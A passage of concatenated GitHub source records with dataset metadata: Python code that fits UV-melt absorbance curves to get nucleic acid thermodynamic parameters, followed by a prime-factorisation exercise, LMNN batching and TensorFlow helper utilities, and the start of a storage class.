'full')[:len(y)]\r\n yacorr = yacorr / np.var(y) / len(y)\r\n yacorr_2diff = np.diff(yacorr, n=2)\r\n if plot:\r\n _,ax = plt.subplots(1,3, figsize=(12,2))\r\n ax[0].plot(y)\r\n ax[1].plot(yacorr)\r\n ax[2].plot(yacorr_2diff)\r\n \r\n return yacorr_2diff\r\n\r\ndef qc_blank_curve(curve):\r\n isgood = True\r\n zscore = np.nanstd(curve.absorbance) / np.nanmedian(curve.absorbance)\r\n if zscore > 0.2:\r\n isgood = False\r\n acorr_2diff = get_2nd_diff_autocorrelation(curve.absorbance)\r\n if np.max(np.abs(acorr_2diff)) > 0.005:\r\n isgood = False\r\n return isgood\r\n\r\n### Directly fit the curves ###\r\ndef curve_model(x, dH, Tm, fmin, fmax, s1, s2):\r\n # define the function\r\n return fmin + s1 * x + (((s2 - s1) * x + fmax - fmin)/(1 + np.exp(dH /0.0019872 * ((Tm + 273.15)**(-1) - (x + 273.15)**(-1)))))\r\n\r\ndef residual(pars, x, data):\r\n dH, Tm, fmax, fmin, s1, s2 = pars['dH'], pars['Tm'], pars['fmax'], pars['fmin'], pars['s1'], pars['s2']\r\n model = curve_model(x, dH, Tm, fmin, fmax, s1, s2)\r\n return model - data\r\n\r\ndef fit_param_direct(curve, Tm=None, celsius_min=5, celsius_max=95, smooth=True, plot_title=''):\r\n pfit = Parameters()\r\n data_max = np.max(curve.absorbance)\r\n data_min = np.min(curve.absorbance)\r\n pfit.add(name='dH', value=-20)\r\n if Tm is None:\r\n pfit.add(name='Tm', value=(celsius_max + celsius_min) * 0.5)\r\n else:\r\n pfit.add(name='Tm', value=Tm, vary=False)\r\n \r\n pfit.add(name='fmax', value=2*data_max, min=data_min, max=20*data_max)\r\n pfit.add(name='fmin', value=max(0.2*data_min, 0.01), min=-0.1, max=data_max)\r\n pfit.add(name='s1', value = 1e-5, max=5.0, min=-1.0)\r\n pfit.add(name='s2', value = 1e-5, max=2.0, min=-2.0)\r\n # pfit.add(name='delta_f', )\r\n\r\n curve_used = curve.query(f'celsius >= {celsius_min} & celsius <= {celsius_max}')\r\n if smooth:\r\n # Anomaly detection with hampel\r\n outlier_idx = hampel(curve_used.loc[:, 'absorbance'])\r\n curve_used.drop(index = curve_used.index[outlier_idx], inplace=True)\r\n\r\n out_tmp = minimize(residual, pfit, args=(curve_used.celsius,), \r\n kws={'data': curve_used.absorbance})\r\n \r\n pfit['Tm'].set(vary=True)\r\n for p in ['dH', 'fmin', 'fmax', 's1', 's2']:\r\n pfit[p].set(value=out_tmp.params[p].value)\r\n \r\n out = minimize(residual, pfit, args=(curve_used.celsius,), \r\n kws={'data': curve_used.absorbance})\r\n \r\n best_fit = curve_used.absorbance + out.residual\r\n \r\n fig, ax = plt.subplots(figsize=(4,3))\r\n ax.plot(curve.celsius, curve.absorbance, '+', c='purple')\r\n ax.plot(curve_used.celsius, curve_used.absorbance, 'x', c='g')\r\n ax.plot(curve_used.celsius, best_fit, 'orange', linewidth=2.5)\r\n ax.set_xlabel('temperature (°C)')\r\n ax.set_ylabel(r'absorbance')\r\n ax.set_title(plot_title)\r\n sns.despine()\r\n \r\n return out\r\n\r\n\r\n### Use the d_absorbance method ###\r\ndef fit_Tm_d_absorbance(curve, celsius_min=5, celsius_max=95, whatever=False):\r\n \"\"\"\r\n For a first pass before direct fit. Only fits Tm because fmax and fmin are unknown.\r\n \"\"\"\r\n # == Calculate d_p_unfold ==\r\n curve_used = curve.query(f'celsius >= {celsius_min} & celsius <= {celsius_max}').sort_values(by='celsius')\r\n acorr_2diff = get_2nd_diff_autocorrelation(curve_used.absorbance)\r\n\r\n if (not whatever) and (curve_used.absorbance.isnull().values.any() or np.max(np.abs(acorr_2diff)) > 0.005):\r\n # run away fast\r\n # if has bad values or jumps (intervention) in the series\r\n return dict(is_usable=False, Tm=np.nan)\r\n \r\n # Upsampled 10x\r\n x = np.arange(curve_used.celsius.iloc[0], curve_used.celsius.iloc[-1], 0.1)\r\n signal_used = signal.savgol_filter(curve_used.absorbance, 9, 3, mode='nearest')\r\n f = interp1d(curve_used.celsius, \r\n signal_used, \r\n kind='cubic')\r\n # dx/dT = dx/0.1, where dT = 0.1 from upsampling\r\n d_p_unfold = np.diff(f(x)) * 10\r\n d_p_unfold = signal.savgol_filter(d_p_unfold, 99, 3)\r\n \r\n # == Find a reasonable range to use ==\r\n is_usable = True\r\n d_p_sign = np.sign(d_p_unfold)\r\n # tag BAD if more than a certain part of the curve is decreasing\r\n if np.count_nonzero(d_p_sign == -1) > 0.2 * len(d_p_unfold):\r\n is_usable = False\r\n \r\n # common problem: decreasing at high temperature\r\n # solution: overwrite celsius_max when it first starts to decrease monotomically\r\n # doesn't affect\r\n win_len = 15 # 1.5 °C\r\n local_sum = np.convolve(d_p_sign, np.ones(win_len), 'valid')\r\n # if not found, celsius_max_idx will be 0\r\n celsius_max_idx = np.argmax(local_sum <= win_len + 1)\r\n celsius_min_idx = np.argmax(local_sum >= win_len - 1)\r\n if celsius_max_idx > 0:\r\n celsius_max = x[celsius_max_idx]\r\n if celsius_min_idx > 0:\r\n celsius_min = x[celsius_min_idx]\r\n \r\n # == Call peaks ==\r\n peaks = signal.find_peaks(d_p_unfold)[0]\r\n try:\r\n ind_max = np.argmax(d_p_unfold[peaks])\r\n Tm = x[peaks[ind_max]]\r\n except:\r\n Tm = np.nan\r\n \r\n if whatever:\r\n is_usable = True\r\n \r\n result_dict = dict(Tm=Tm, is_usable=is_usable, celsius_min=celsius_min, celsius_max=celsius_max)\r\n return result_dict\r\n\r\ndef fit_param_d_absorbance(curve, out, celsius_min=5, celsius_max=95, smooth=True, plot_title=''):\r\n \"\"\"\r\n Deprecated. Other parameters than Tm are not very reliable from this method.\r\n \"\"\"\r\n curve_used = curve.query(f'celsius >= {celsius_min} & celsius <= {celsius_max}').sort_values(by='celsius')\r\n x = np.arange(curve_used.celsius.iloc[0], curve_used.celsius.iloc[-1], 0.1)\r\n signal_used = signal.savgol_filter(curve_used.absorbance, 9, 3, mode='nearest')\r\n signal_used = (signal_used - out.params['fmin'] - out.params['slope'] * curve_used.celsius.values) / (out.params['fmax'] - out.params['fmin'])\r\n f = interp1d(curve_used.celsius, \r\n signal_used, \r\n kind='cubic')\r\n d_p_unfold = np.diff(f(x)) * 10\r\n if smooth:\r\n d_p_unfold = signal.savgol_filter(d_p_unfold, 99, 3)\r\n peaks = signal.find_peaks(d_p_unfold)[0]\r\n ind_max = np.argmax(d_p_unfold[peaks])\r\n peak = peaks[ind_max]\r\n \r\n fig, ax = plt.subplots(figsize=(4,3))\r\n ax.plot(x[:-1], d_p_unfold, 'k')\r\n ax.axvline(x=x[peak], ls='--', c='gray')\r\n ax.set_xlabel('temperature (°C)')\r\n ax.set_ylabel(r\"$p_{unfold}'$\")\r\n ax.set_title(plot_title)\r\n sns.despine()\r\n \r\n result = {}\r\n result['Tm_diff'] = x[peak]\r\n result['dH_diff'] = - d_p_unfold[peak] * 4 * 0.0019872 * (result['Tm_diff'] + 273.15)**2\r\n result['dS_diff'] = result['dH_diff'] / (result['Tm_diff'] + 273.15)\r\n result['dG_37_diff'] = get_dG(result['dH_diff'], result['Tm_diff'], 37)\r\n result['rmse_diff'] = rmse(curve_model(curve_used.celsius, result['dH_diff'], result['Tm_diff'], out.params['fmin'], out.params['fmax'], out.params['s1'], out.params['s2']),\r\n curve_used.absorbance.values)\r\n \r\n return result\r\n\r\n\r\n### Master Function ###\r\ndef fit_curve(fn, figdir='', verbose=False, debug=False, \r\n blank=None, **kwargs):\r\n def fit():\r\n curve = read_curve(fn)\r\n if isinstance(blank, pd.DataFrame):\r\n curve['absorbance'] -= blank['absorbance']\r\n elif isinstance(blank, float):\r\n curve['absorbance'] -= blank\r\n \r\n # Shift up so all values are positive\r\n curve['absorbance'] = curve['absorbance'] - np.min(curve['absorbance'].values) + 0.01\r\n \r\n # Save the blanked curve to disk\r\n blanked_fn = get_blanked_fn(fn)\r\n curve.to_csv(blanked_fn, index=False, header=False)\r\n \r\n curve_name = parse_curve_name(fn)\r\n if verbose:\r\n print(curve_name['curve_str'])\r\n d_absorbance_result_dict = fit_Tm_d_absorbance(curve, **kwargs)\r\n if not d_absorbance_result_dict['is_usable'] or np.isnan(d_absorbance_result_dict['Tm']):\r\n # give up fast and run away\r\n raise Exception(\"Sorry, curve is too crazy for %s\"%fn)\r\n \r\n Tm = d_absorbance_result_dict['Tm']\r\n kwargs['celsius_max'] = d_absorbance_result_dict['celsius_max']\r\n out = fit_param_direct(curve, Tm=Tm, \r\n plot_title=curve_name['curve_str'], **kwargs)\r\n save_fig(os.path.join(figdir, curve_name['curve_date'], f\"{curve_name['curve_num']}_{curve_name['curve_name']}_direct_fit.png\"))\r\n # result = fit_param_d_absorbance(curve, out, plot_title=curve_name['curve_str'], **kwargs)\r\n # save_fig(os.path.join(figdir, curve_name['curve_date'], f\"{curve_name['curve_num']}_{curve_name['curve_name']}_d_p_unfold.png\"))\r\n result_dict = format_fit_result(out)\r\n result_dict.update(kwargs)\r\n result_dict.update(curve_name)\r\n result_dict['data_file'] = fn\r\n if verbose:\r\n print('\\tDone!')\r\n return result_dict\r\n \r\n if debug:\r\n result_dict = fit()\r\n return result_dict\r\n else:\r\n try:\r\n result_dict = fit()\r\n return result_dict\r\n except:\r\n # print(\"Trouble with\", fn)\r\n return dict()\r\n\r\ndef fit_cd_curve(fn, figdir='', verbose=False, debug=False, \r\n **kwargs):\r\n def fit():\r\n curve = pd.read_table(fn, header=None)\r\n curve.columns = ['celsius', 'cd', 'v', 'absorbance']\r\n curve.drop(columns = ['cd', 'v'], inplace=True)\r\n \r\n curve_str = os.path.splitext(os.path.split(fn)[-1])[0]\r\n curve_name = dict(curve_str=curve_str,\r\n curve_name=curve_str.split('-')[1],\r\n seqid=curve_str.split('-')[0])\r\n if verbose:\r\n print(curve_name['curve_str'])\r\n d_absorbance_result_dict = fit_Tm_d_absorbance(curve, whatever=True, **kwargs)\r\n if not d_absorbance_result_dict['is_usable'] or np.isnan(d_absorbance_result_dict['Tm']):\r\n print(d_absorbance_result_dict)\r\n # give up fast and run away\r\n raise Exception(\"Sorry, curve is too crazy for %s\"%fn)\r\n \r\n Tm = d_absorbance_result_dict['Tm']\r\n kwargs['celsius_max'] = d_absorbance_result_dict['celsius_max']\r\n out = fit_param_direct(curve, Tm=Tm, \r\n plot_title=curve_name, **kwargs)\r\n save_fig(os.path.join(figdir, f\"{curve_name['curve_str']}_direct_fit.png\"))\r\n # result = fit_param_d_absorbance(curve, out, plot_title=curve_name['curve_str'], **kwargs)\r\n # save_fig(os.path.join(figdir, curve_name['curve_date'], f\"{curve_name['curve_num']}_{curve_name['curve_name']}_d_p_unfold.png\"))\r\n result_dict = format_fit_result(out)\r\n result_dict.update(kwargs)\r\n result_dict.update(curve_name)\r\n result_dict['data_file'] = fn\r\n if verbose:\r\n print('\\tDone!')\r\n return result_dict\r\n \r\n if debug:\r\n result_dict = fit()\r\n return result_dict\r\n else:\r\n try:\r\n result_dict = fit()\r\n return result_dict\r\n except:\r\n # print(\"Trouble with\", fn)\r\n return dict()\r\n\r\ndef fit_all_cd_curves(datadir):\r\n datafiles = [x for x in os.listdir(datadir) if x.endswith('.txt')]\r\n \r\n result_columns = ['curve_str', 'seqid', 'curve_name', \r\n 'dH', 'dH_std', 'Tm', 'Tm_std', \r\n 'fmax', 'fmax_std', 'fmin', 'fmin_std', \r\n 's1', 's1_std', 's2', 's2_std', 'rmse',\r\n 'celsius_min', 'celsius_max', 'data_file']\r\n result_df = pd.DataFrame(index=np.arange(len(datafiles)), columns=result_columns)\r\n \r\n for i,fn in enumerate(datafiles):\r\n result_dict = fit_cd_curve(os.path.join(datadir,fn), figdir=os.path.join(datadir, 'fig'), \r\n debug=True, verbose=True)\r\n result_df.iloc[i, :] = result_dict\r\n \r\n return result_df.sort_values(by=['seqid', 'curve_name'])\r\n \r\ndef make_empty_result_df(data_list, sample_sheet: pd.DataFrame, blank: bool=False):\r\n #----- make the index and column names for result_df -----\r\n result_index = []\r\n curve_date, curve_num, curve_name, blank_to_list, data_file = [], [], [], [], []\r\n \r\n for fn in data_list:\r\n curve_dict = parse_curve_name(fn)\r\n row = query_curve_in_df(sample_sheet, curve_dict)\r\n if len(row) > 0:\r\n result_index.append(curve_dict['curve_str'])\r\n curve_date.append(curve_dict['curve_date'])\r\n curve_num.append(curve_dict['curve_num'])\r\n curve_name.append(curve_dict['curve_name'])\r\n data_file.append(fn)\r\n if row.Blank.values[0] == 'manual':\r\n blank_to_list.append(find_blank_reference_curve_str(curve_dict['curve_str'], row.BlankTo.values[0]))\r\n else:\r\n blank_to_list.append('no_manual_blank')\r\n elif len(row) == 0:\r\n data_list.remove(fn)\r\n\r\n result_columns = ['curve_date', 'curve_num', 'curve_name',\r\n 'dH', 'dH_std', 'Tm', 'Tm_std', \r\n 'fmax', 'fmax_std', 'fmin', 'fmin_std', \r\n 's1', 's1_std', 's2', 's2_std', 'rmse',\r\n 'celsius_min', 'celsius_max', 'data_file']\r\n\r\n result_df = pd.DataFrame(index=result_index, columns=result_columns)\r\n result_df.curve_date = np.array(curve_date, dtype=str)\r\n result_df.curve_num = np.array(curve_num, dtype=str)\r\n result_df.curve_name = curve_name\r\n result_df.data_file = data_file\r\n\r\n if blank:\r\n result_df['blank'] = blank_to_list\r\n \r\n return result_df\r\n \r\n\r\n### Fit from sample_sheet ###\r\ndef fit_all_manual_blank(datadir:str, sample_sheet_file:str, result_file:str='uvmelt.csv',\r\n qc_criterion = 'rmse < 0.015 & dH_std < 10 & Tm_std < 5'):\r\n \"\"\"\r\n This function blanks all the curves first before fitting.\r\n If not manual blank or cannot find blank, use the original curve.\r\n Reads and caches all blank data at once first.\r\n \"\"\"\r\n\r\n #----- Read files -----\r\n sample_sheet = read_sample_sheet(sample_sheet_file)#.query(\"Blank == 'manual'\")\r\n data_list = [fn for fn in absolute_file_paths(datadir) if (fn.endswith('.csv') and (not fn.endswith('_blanked.csv')))]\r\n \r\n #----- make the index and column names for result_df -----\r\n result_df = make_empty_result_df(data_list, sample_sheet, blank=True)\r\n \r\n #----- read blank curves -----\r\n all_blanks = np.unique(result_df['blank'])\r\n blank_dict = dict()\r\n for blank_str in all_blanks:\r\n if not blank_str in result_df.index:\r\n # check the blanks are in the dataset\r\n print( \"blank data %s not in the dataset!\" % blank_str )\r\n blank_dict[blank_str] = 0\r\n else:\r\n blank_fn = data_list[result_df.index.to_list().index(blank_str)]\r\n blank_dict[blank_str] = read_curve(blank_fn)\r\n # QC blank curvel\r\n if not qc_blank_curve(blank_dict[blank_str]):\r\n blank_dict[blank_str] = np.nan # throw affected curves away\r\n \r\n #----- fit curves -----\r\n for fn in tqdm(data_list):\r\n curve_name = parse_curve_name(fn)\r\n row = query_curve_in_df(sample_sheet, curve_name)\r\n\r\n if len(row) == 0 or (curve_name['curve_str'] in all_blanks) or (not row['Usable'].values[0]):\r\n continue\r\n else:\r\n try:\r\n blank_curve = blank_dict[result_df.loc[curve_name['curve_str'], 'blank']]\r\n except:\r\n blank_curve = 0\r\n \r\n result_dict = fit_curve(fn, figdir=os.path.join(datadir,'fig'), \r\n blank=blank_curve,\r\n debug=False,\r\n celsius_min=row.at[row.index[0],'celsius_min'],\r\n celsius_max=row.at[row.index[0],'celsius_max'])\r\n result_df.loc[curve_name['curve_str'], :] = result_dict\r\n \r\n result_df.dropna(subset=['dH', 'Tm', 'rmse'], inplace=True)\r\n \r\n result_df['pass_qc'] = result_df.eval(qc_criterion)\r\n \r\n result_df['SEQID'] = ''\r\n for col in ['SEQID', 'conc_uM', 'Na_mM', 'celsius_min', 'celsius_max', 'Cuvette']:\r\n result_df[col] = lookup_sample_df(result_df, sample_sheet, col)\r\n \r\n result_df['dG_37'] = get_dG(result_df['dH'], result_df['Tm'], celsius=37)\r\n result_df['dS'] = result_df['dH'] / (result_df['Tm'] + 273.15)\r\n result_df.to_csv(result_file)\r\n \r\n return result_df\r\n \r\n \r\n\r\ndef fit_all_no_blank(datadir:str, sample_sheet_file:str, result_file:str='uvmelt.csv'):\r\n #----- Hardcoded QC -----\r\n qc_criterion = 'rmse < 0.015 & dH_std < 10 & Tm_std < 5'\r\n \r\n #----- Read files -----\r\n sample_sheet = read_sample_sheet(sample_sheet_file).query(\"Blank != 'manual'\")\r\n data_list = [fn for fn in absolute_file_paths(datadir) if fn.endswith('.csv')]\r\n \r\n #----- make the index and column names for result_df -----\r\n result_df = make_empty_result_df(data_list, sample_sheet)\r\n\r\n #----- fit curves -----\r\n for fn in tqdm(data_list):\r\n curve_name = parse_curve_name(fn)\r\n row = query_curve_in_df(sample_sheet, curve_name)\r\n\r\n if len(row) == 0:\r\n print(fn)\r\n continue\r\n else:\r\n result_dict = fit_curve(fn, figdir=os.path.join(datadir,'fig'), \r\n celsius_min=row.at[row.index[0],'celsius_min'],\r\n celsius_max=row.at[row.index[0],'celsius_max'])\r\n\r\n result_df.loc[curve_name['curve_str'], :] = result_dict\r\n \r\n result_df.dropna(inplace=True)\r\n \r\n result_df['pass_qc'] = result_df.eval(qc_criterion)\r\n \r\n for col in ['SEQID', 'conc_uM', 'Na_mM', 'celsius_min', 'celsius_max']:\r\n result_df[col] = lookup_sample_df(result_df, sample_sheet, col)\r\n \r\n result_df['dG_37'] = get_dG(result_df['dH'], result_df['Tm'], celsius=37)\r\n result_df['dS'] = result_df['dH'] / (result_df['Tm'] + 273.15)\r\n result_df['isCooling'] = result_df.curve_name.apply(lambda x: 'Cooling' in x)\r\n result_df.to_csv(result_file)\r\n \r\n #----- Plot QC -----\r\n fig, ax = plt.subplots(1, 2, figsize=(8,4))\r\n sns.scatterplot(data=result_df, \r\n x='rmse', y='Tm_std', color='gray',\r\n ax=ax[0])\r\n sns.scatterplot(data=result_df.query(qc_criterion), \r\n x='rmse', y='Tm_std', color='salmon',\r\n ax=ax[0])\r\n ax[0].axhline(5, linestyle='--', c='gray')\r\n ax[0].axvline(0.015, linestyle='--', c='gray')\r\n ax[1].set_ylim([0, 100])\r\n\r\n sns.scatterplot(data=result_df, \r\n x='rmse', y='dH_std', color='gray',\r\n ax=ax[1])\r\n sns.scatterplot(data=result_df.query(qc_criterion), \r\n x='rmse', y='dH_std', color='salmon',\r\n ax=ax[1])\r\n ax[1].set_ylim([-5, 100])\r\n ax[1].axvline(0.015, linestyle='--', c='gray')\r\n ax[1].axhline(10, linestyle='--', c='gray')\r\n sns.despine()\r\n\r\n plt.suptitle('%.2f%% (%d / %d) passed QC' % (100 * result_df.eval(qc_criterion).sum() / len(result_df), result_df.eval(qc_criterion).sum(), len(result_df)))\r\n save_fig(os.path.join(datadir, 'fig', 'QC.pdf'), fig)\r\n plt.show()\r\n \r\n return result_df\r\n \r\ndef fit_all(datadir:str, sample_sheet_file:str, result_file:str='uvmelt.csv'):\r\n # noblank_result_df = fit_all_no_blank(datadir, sample_sheet_file, result_file.replace(\".csv\", \"_no_blank.csv\"))\r\n blank_result_df = fit_all_manual_blank(datadir, sample_sheet_file, result_file.replace(\".csv\", \"_manual_blank.csv\"))\r\n return blank_result_df\r\n \r\n###### Aggregate the results in each sample #####\r\ndef agg_fit_result(uvmelt_result_file, agg_result_file, sample_sheet_file,\r\n single_curve_qc_criteria=None,\r\n Tm_std_thresh=0.5, dH_std_thresh=1.5, clean=True, only_use_cooling=False):\r\n \"\"\"\r\n Aggregates multiple heat-cool cycles for a given cuvette, e.g. sample level\r\n Not aggregated to sequence level!\r\n \"\"\"\r\n uv = lambda x: processing.get_combined_param_bt(x, result_df.loc[x.index, x.name+'_std'])['p']\r\n uv_std = lambda x: processing.get_combined_param_bt(x, result_df.loc[x.index, x.name+'_std'])['e']\r\n \r\n if single_curve_qc_criteria is None:\r\n result_df = pd.read_csv(uvmelt_result_file, index_col=0).query('pass_qc')\r\n else:\r\n result_df = pd.read_csv(uvmelt_result_file, index_col=0)\r\n result_df['pass_qc'] = result_df.eval(single_curve_qc_criteria)\r\n result_df = result_df.query('pass_qc')\r\n sns.scatterplot(data=result_df.query('dH_std < 1e2 & Tm_std < 50 & dH < 0'), x='dH_std', y='Tm_std', hue='pass_qc')\r\n \r\n if only_use_cooling:\r\n result_df['isCooling'] = result_df.curve_name.apply(lambda x: 'Cooling' in x)\r\n result_df = result_df.query('isCooling')\r\n \r\n try:\r\n agg_stat = [uv, uv_std, len]\r\n result_agg_df = result_df.groupby(['SEQID', 'curve_date', 'curve_num']).agg(dict(dH=agg_stat, Tm=agg_stat)).reset_index()\r\n result_agg_df.columns = [f'{x[0]}_{x[1]}'.strip('_').replace('', 'uv').replace('', 'uv_std') for x in result_agg_df.columns]\r\n except:\r\n agg_stat = [np.median, np.std, len]\r\n result_agg_df = result_df.groupby(['SEQID', 'curve_date', 'curve_num']).agg(dict(dH=agg_stat, Tm=agg_stat)).reset_index()\r\n result_agg_df.columns = [f'{x[0]}_{x[1]}'.strip('_').replace('median', 'uv').replace('std', 'uv_std') for x in result_agg_df.columns]\r\n\r\n result_agg_df = result_agg_df.fillna(0)\r\n result_agg_df.rename(columns=dict(dH_len='n_curve'), inplace=True)\r\n result_agg_df.drop(columns='Tm_len', inplace=True)\r\n\r\n result_agg_df['dG_37_uv'] = get_dG(dH=result_agg_df.dH_uv, Tm=result_agg_df.Tm_uv, celsius=37)\r\n result_agg_df['dG_37_uv_std'] = get_dG_err(result_agg_df.dH_uv, result_agg_df.dH_uv_std, \r\n result_agg_df.Tm_uv, result_agg_df.Tm_uv_std,\r\n celsius=37)\r\n result_agg_df['dS_uv'] = get_dS(dH=result_agg_df.dH_uv, Tm=result_agg_df.Tm_uv)\r\n result_agg_df['dS_uv_std'] = get_dS_err(result_agg_df.dH_uv, result_agg_df.dH_uv_std, \r\n result_agg_df.Tm_uv, result_agg_df.Tm_uv_std)\r\n \r\n #TODO\r\n result_agg_df['is_hairpin'] = result_agg_df.SEQID.apply(lambda x: False if ('_' in x) or x.startswith('D') else True)\r\n result_agg_df['SEQID'] = result_agg_df.SEQID.apply(lambda x: x.split('_')[0] if '_' in x else x)\r\n \r\n sample_sheet = read_sample_sheet(sample_sheet_file)\r\n for col in ['Na_mM', 'conc_uM', 'Purification']:\r\n result_agg_df[col] = lookup_sample_df(result_agg_df, sample_sheet, col)\r\n \r\n qc_criterion = 'Tm_uv_std < %f & dH_uv_std < %f' % (Tm_std_thresh, dH_std_thresh)\r\n fig, ax = plt.subplots(1, 2, figsize=(8,4))\r\n sns.scatterplot(data=result_agg_df,\r\n x='dH_uv_std', y='Tm_uv_std', hue='n_curve',\r\n palette='plasma', ax=ax[0])\r\n ax[0].axhline(Tm_std_thresh, linestyle='--', c='gray')\r\n ax[0].axvline(dH_std_thresh, linestyle='--', c='gray')\r\n ax[0].set_title('%.2f%% (%d / %d) variants passed QC' % \r\n (100 * result_agg_df.eval(qc_criterion).sum() / len(result_agg_df), result_agg_df.eval(qc_criterion).sum(), len(result_agg_df)))\r\n sns.scatterplot(data=result_df.query('dH_std < 1e2 & Tm_std <20'), x='dH_std', y='Tm_std', hue='rmse', ax=ax[1])\r\n ax[1].set_title('single curves used')\r\n sns.despine()\r\n save_fig(agg_result_file.replace('.csv', '.pdf'), fig)\r\n \r\n if clean:\r\n result_agg_df = result_agg_df.query(qc_criterion)\r\n else:\r\n result_agg_df['pass_qc'] = result_agg_df.eval(qc_criterion)\r\n \r\n result_agg_df.to_csv(agg_result_file)\r\n \r\n return result_agg_df\r\n \r\n \r\n###### Adjust systematic offset ######\r\ndef prep_x_y_yerr(df, param, adjusted=True):\r\n if adjusted:\r\n x_suffix = '_adjusted'\r\n else:\r\n x_suffix = ''\r\n \r\n x = df[param+x_suffix].values.reshape(-1,1)\r\n y = df[param+'_uv'].values.reshape(-1,1)\r\n yerr = df[param+'_uv_std'].values.reshape(-1,1)\r\n yerr[yerr==0] = np.median(yerr)\r\n return add_intercept(x), y, yerr\r\n\r\ndef fit_param_offset(df, param, fix_slope=False, adjusted=True):\r\n x, y, yerr = prep_x_y_yerr(df, param, adjusted)\r\n ols = LinearRegressionSVD(param=param)\r\n if fix_slope:\r\n ols.coef_ = np.array([1.0, 0.0])\r\n ols.fit_intercept_only(x, y)\r\n else:\r\n ols.fit(x, y, yerr)\r\n return ols\r\n \r\ndef correct_param(df, correction_dict, param:str):\r\n \"\"\"\r\n x - your data\r\n \"\"\"\r\n x = add_intercept(df[param].values.reshape(-1,1))\r\n return x @ correction_dict[param].reshape(2,1)","repo_name":"keyuxi/nnn_paper","sub_path":"nnn/uv.py","file_name":"uv.py","file_ext":"py","file_size_in_byte":32369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29919880677","text":"\ndef prime_factors(num):\n tst = [x for x in reversed(range(1,num))]\n pf =[]\n x = 0\n while (x < len(tst)):\n if (num%tst[x] == 0 and isprime(tst[x])and tst[x] != 1):\n pf.append(tst[x])\n num /= tst[x]\n else:\n x +=1\n pf.reverse()\n return pf\n \ndef isprime(num):\n if (num == 2):\n return True\n return not any([num%x == 0 for x in range(2,num)])\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"8vBvgJMc2uQJpD6d7_13.py","file_name":"8vBvgJMc2uQJpD6d7_13.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33594517696","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Dec 12 11:23:37 2017\r\n\r\n@author: nsde\r\n\"\"\"\r\n\r\nimport tensorflow as tf\r\nimport os, sys\r\nimport numpy as np\r\n\r\n#%%\r\nclass lmnn_batch_builder():\r\n def __init__(self, X, y, tN, imp, k, batch_size, shuffel=True):\r\n # Data\r\n self.X = X\r\n self.y = y\r\n \r\n # Append imposters to target neighbour structure\r\n imp_r = imp[:,1].repeat(k) # repeat the imposters\r\n imp_r = imp_r.reshape((-1,k,k)).transpose((0,2,1)).reshape((-1,k))\r\n self.combined = np.hstack((tN, imp_r))\r\n \r\n # Shuffel\r\n if shuffel:\r\n self.combined = np.random.permutation(self.combined)\r\n \r\n # Constants\r\n self.batch_size = batch_size\r\n self.counter = 0\r\n self.n = tN.shape[0]\r\n \r\n def __next__(self):\r\n batch_idx = self.combined[self.counter:self.counter+self.batch_size]\r\n self.counter += self.batch_size\r\n idx, inv_idx = np.unique(batch_idx, return_inverse=True)\r\n inv_idx = np.reshape(inv_idx, (-1, 5))[:,:2]\r\n return self.X[idx], self.y[idx], inv_idx\r\n \r\n def __iter__(self):\r\n while self.counter < self.n:\r\n batch_idx = self.combined[self.counter:self.counter+self.batch_size]\r\n self.counter += self.batch_size\r\n idx, inv_idx = np.unique(batch_idx, return_inverse=True)\r\n inv_idx = np.reshape(inv_idx, (-1, 5))[:,:2]\r\n yield self.X[idx], self.y[idx], inv_idx\r\n \r\n def __len__(self):\r\n return int(np.ceil(self.n / self.batch_size))\r\n\r\n#%%\r\nclass batchifier():\r\n ''' Small iterator that will cut the input data into smaller batches. Can\r\n then be used in a for-loop like:\r\n for x_batch in batchifier(X, 100):\r\n # x_batch.shape[0] = 100 \r\n '''\r\n \r\n def __init__(self, data, batch_size):\r\n self.data = data\r\n self.batch_size = batch_size \r\n self.counter = 0\r\n self.N = self.data.shape[0]\r\n \r\n def __iter__(self):\r\n while self.counter < self.N:\r\n yield self.data[self.counter:self.counter+self.batch_size]\r\n self.counter += self.batch_size\r\n\r\n def __len__(self):\r\n return int(np.ceil(self.data.shape[0] / self.batch_size))\r\n\r\n#%%\r\ndef get_dir(file):\r\n \"\"\" Get the folder of specified file \"\"\"\r\n return os.path.dirname(os.path.realpath(file))\r\n\r\n#%%\r\ndef create_dir(direc):\r\n \"\"\" Create a dir if it does not already exists \"\"\"\r\n if not os.path.exists(direc):\r\n os.mkdir(direc)\r\n\r\n#%%\r\ndef colorise(string, color='green'):\r\n if color=='green': col='0;32;40m'\r\n elif color=='blue': col='0;34;40m'\r\n elif color=='red': col='0;31;40m'\r\n begin = '\\x1b['\r\n end = '\\033[0m'\r\n return begin + col + string + end\r\n\r\n#%%\r\ndef progressBar(value, endvalue, name = 'Process', bar_length=20):\r\n percent = float(value) / endvalue\r\n arrow = '-' * int(round(percent * bar_length)-1) + '>'\r\n spaces = ' ' * (bar_length - len(arrow))\r\n\r\n sys.stdout.write(\"\\r{0}: [{1}] {2}%\".format(name, arrow + spaces, int(round(percent * 100))))\r\n sys.stdout.flush()\r\n \r\n#%%\r\ndef get_optimizer(name):\r\n ''' Returns a tensorflow optimizer based on name '''\r\n optimizer = {'adam': tf.train.AdamOptimizer,\r\n 'sgd': tf.train.GradientDescentOptimizer,\r\n 'momentum': tf.train.MomentumOptimizer}\r\n try:\r\n opt = optimizer[name]\r\n return opt\r\n except KeyError:\r\n raise Exception(name + ' is a invalid option to input optimizer, please'\r\n + ' choose between: ' + ', '.join(optimizer.keys()))\r\n\r\n#%%\r\ndef adjust_learning_rate(alpha, loss_new, loss_old):\r\n ''' Function for adjusting the learning rate while training '''\r\n out_alpha = alpha*1.01 if loss_new <= loss_old else alpha*0.5\r\n return out_alpha\r\n\r\n#%%\r\nif __name__ == '__main__':\r\n print(get_dir(__file__))","repo_name":"SkafteNicki/Deep_LMNN","sub_path":"dlmnn/helper/utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":3980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7001457280","text":"#!/usr/bin/python3\n\"\"\" FileStorage class \"\"\"\n\n\nfrom os.path import exists\nimport json\nfrom models.base_model import BaseModel\n\n\nclass FileStorage:\n \"\"\" FileStorage class \"\"\"\n\n __file_path = 